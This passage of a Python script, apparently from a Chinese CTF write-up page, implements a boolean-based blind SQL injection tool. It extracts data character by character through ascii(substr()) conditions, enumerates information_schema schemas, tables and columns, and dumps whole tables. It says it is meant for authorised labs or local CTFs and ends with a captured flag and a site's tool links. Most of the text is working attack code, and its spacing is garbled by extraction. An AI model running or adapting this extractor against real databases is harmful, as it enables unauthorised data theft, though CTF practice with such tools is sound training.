except Exception:return resp.text except requests.exceptions.RequestException as e: last_exc = e if DEBUG:print (f"[WARN] 请求异常:{e} (尝试 {attempt+1}/{RETRIES+1})" ) time.sleep (1 )
if DEBUG:print ("[ERROR] 所有重试失败:" , last_exc)
returnNonedefis_true_response (resp):if resp isNone:returnFalse
ifisinstance (resp,dict): status =str (resp.get ("status" ,"" )).lower () message =str (resp.get ("message" ,"" )).lower ()
if status =="ok" and"found" in message:returnTrue
if status =="error" and"not found" in message:returnFalse txt =str (resp)
if"Found" in txt:returnTrue
if"Not Found" in txt:returnFalse
if DEBUG:print ("[DBG] 未能解析响应:" , txt[:400 ].replace ("\n" ,"\\n" ))
returnFalsedefcheck_condition (cond): resp = send_payload_raw (cond)
return is_true_response (resp)# ----------------- 爆破函数 -----------------defbinary_search_length (expr, max_upper=16384 ):if DEBUG:print (f"[DBG] binary_search_length expr={expr} max_upper={max_upper}" ) low =0 high = max_upper while low < high: mid =(low + high)//2 cond =f"length(({expr}))>{mid}" if DEBUG:print (f"[DBG] length check: {cond}" )if check_condition (cond): low = mid +1 else: high = mid time.sleep (SLEEP) length = low if DEBUG:print (f"[DBG] length -> {length}" )
return length defextract_string_by_binary (expr, max_len=20000 ):if DEBUG:print (f"[DBG] extract_string_by_binary expr={expr} max_len={max_len}" ) result =""
for pos inrange (1 , max_len +1 ): null_cond =f"ascii(substr(({expr}),{pos},1))=0"
if check_condition (null_cond):if DEBUG:print (f"[DBG] pos {pos} is NULL -> stop" )break low =32 high =126
while low <= high: mid =(low + high)//2 cond =f"ascii(substr(({expr}),{pos},1))>{mid}" if check_condition (cond): low = mid +1 else: high = mid -1 time.sleep (SLEEP) ascii_val = low if ascii_val <32 or ascii_val >126 :if DEBUG:print (f"[DBG] pos {pos} ascii out of range: {ascii_val} -> stop" )break ch =chr (ascii_val) result += ch sys.stdout.write (f"\r[+] pos={pos} -> '{ch}' current_len={len(result)}" ) sys.stdout.flush ()
print (f"\n[+] 提取完成:len={len(result)}" )
return result # ----------------- 列表化辅助函数 -----------------defextract_group_concat_list (expr, max_len_guess=16384 , sep=':' ): length = binary_search_length (expr, max_len_guess)
if length ==0 :return[] s = extract_string_by_binary (expr, length) items =[x for x in s.split (sep)if x !='' ]
return items # ----------------- 枚举与导出函数 -----------------deflist_all_databases (): expr ="select(group_concat(concat(schema_name,0x3a)))from(information_schema.schemata)"
return extract_group_concat_list (expr, max_len_guess=4096 , sep=':' )
deflist_tables_for_schema (schema_name): expr =f"select(group_concat(concat(table_name,0x3a)))from(information_schema.tables)where(table_schema)='{schema_name}'"
return extract_group_concat_list (expr, max_len_guess=8192 , sep=':' )
deflist_columns_for_table (schema_name, table_name): expr =f"select(group_concat(concat(column_name,0x3a)))from(information_schema.columns)where(table_schema)='{schema_name}'and(table_name)='{table_name}'"
return extract_group_concat_list (expr, max_len_guess=8192 , sep=':' )
defdump_table_data (schema_name, table_name, columns=None, max_len_guess=20000 ):
"" " 尝试导出指定表的所有行,默认将所有列按 ':' 连接,整表按 ',' 连接。 返回导出的原始拼接字符串(如果成功),以及解析成的行列表。 注:若表非常大或 group_concat 有长度限制,可能失败或被截断。 " ""
if columns isNone: cols = list_columns_for_table (schema_name, table_name)
ifnot cols:if DEBUG:print (f"[WARN] 无法获取 {schema_name}.{table_name} 的列信息" )
return"" ,[]else: cols = columns # 构造 concat (col1,0 x3a,col2,0 x3a,...) concat_parts =[]
for i, c inenumerate (cols): concat_parts.append (c)
if i !=len (cols)-1 : concat_parts.append ("0x3a" ) inner ="," .join (concat_parts)# group_concat (concat (...)) from schema.table expr =f"select(group_concat(concat({inner})))from({schema_name}.{table_name})"
length = binary_search_length (expr, max_len_guess)
if length ==0 :return"" ,[] s = extract_string_by_binary (expr, length)# 尝试把整个拼接字符串按 0 x3a 分列,然后按行拆分(注意:无法区分列间的逗号导致的歧义,假定列值不含 ':' ) rows =[]
if s:# group_concat 将所有行连成一个长字符串,用 ',' 分隔行(如果默认分隔符为 ',' ),但为了稳妥,先按 ',' 尝试# 如果你在 DB 中设置了不同的 SEPARATOR(例如 0 x2c),需要调整此处。 rows =[r for r in s.split (',' )if r !='' ]
return s, rows # ----------------- CLI 与示例 -----------------defparse_args (): p = argparse.ArgumentParser (description="无空格括号风格 布尔盲注 导出 Flag DB 脚本(用于授权靶场/本地CTF)" ) p.add_argument ("--url" ,help="目标 URL(覆盖脚本内配置)" , default=None) p.add_argument ("--schema" ,help="目标 schema 名(默认为 Flag)" , default="Flag" ) p.add_argument ("--only-db" ,help="只列出数据库,不继续枚举表/列" , action="store_true" ) p.add_argument ("--debug" ,help="开启调试" , action="store_true" )
return p.parse_args ()
defmain ():global URL, DEBUG args = parse_args ()
if args.url: URL = args.url if args.debug: DEBUG =True
print ("[*] 注意:请确认你对目标有授权(用户已确认为自己的靶场)" )
print ("[*] 目标 URL:" , URL)
print ("\n[*] Step 1: 枚举所有 database()(schema)" ) dbs = list_all_databases ()
ifnot dbs:print ("[WARN] 未能获取到任何 database,请检查目标或增加 max_len_guess" )
return
print (f"[+] 共发现 {len(dbs)} 个 schema:" )
for i, db inenumerate (dbs,1 ):print (f" [{i}] {db}" )
if args.only_db:return target_schema = args.schema print (f"\n[*] Step 2: 以 schema='{target_schema}' 作为目标,枚举表与列并尝试导出数据" ) tables = list_tables_for_schema (target_schema)
ifnot tables:print (f"[WARN] 在 schema '{target_schema}' 下未发现表或无权限" )
return
print (f"[+] 在 schema '{target_schema}' 下发现 {len(tables)} 张表:" )
for t in tables:print (f"\n[>] 表:{t}" ) cols = list_columns_for_table (target_schema, t)
ifnot cols:print (" [WARN] 无法枚举列 或 表为空" )
continue
print (f" [*] 列 ({len(cols)}): {', '.join(cols)}" )
print (" [*] 尝试导出整表数据(可能被截断或受长度限制)..." ) raw, rows = dump_table_data (target_schema, t, columns=cols)
ifnot raw:print (" [WARN] 导出失败或为空" )
continue# 打印前几行以便快速查看(若太多则只看前 20 ) max_preview =20
print (f" [*] 导出总长度:{len(raw)} 字符,预览前 {min(len(rows), max_preview)} 行:" )
for i, r inenumerate (rows[:max_preview],1 ):print (f" ({i}) {r}" )
iflen (rows)> max_preview:print (f" ... (共 {len(rows)} 行,已省略)" )
print ('\n[+] 导出尝试完成' )
if __name__ =="__main__" : main ()
flag{b2f00fa9-8d65-45ac-9193-8a852c4910fb}
相关免费在线工具 加密/解密文本 使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
Gemini 图片去水印 基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online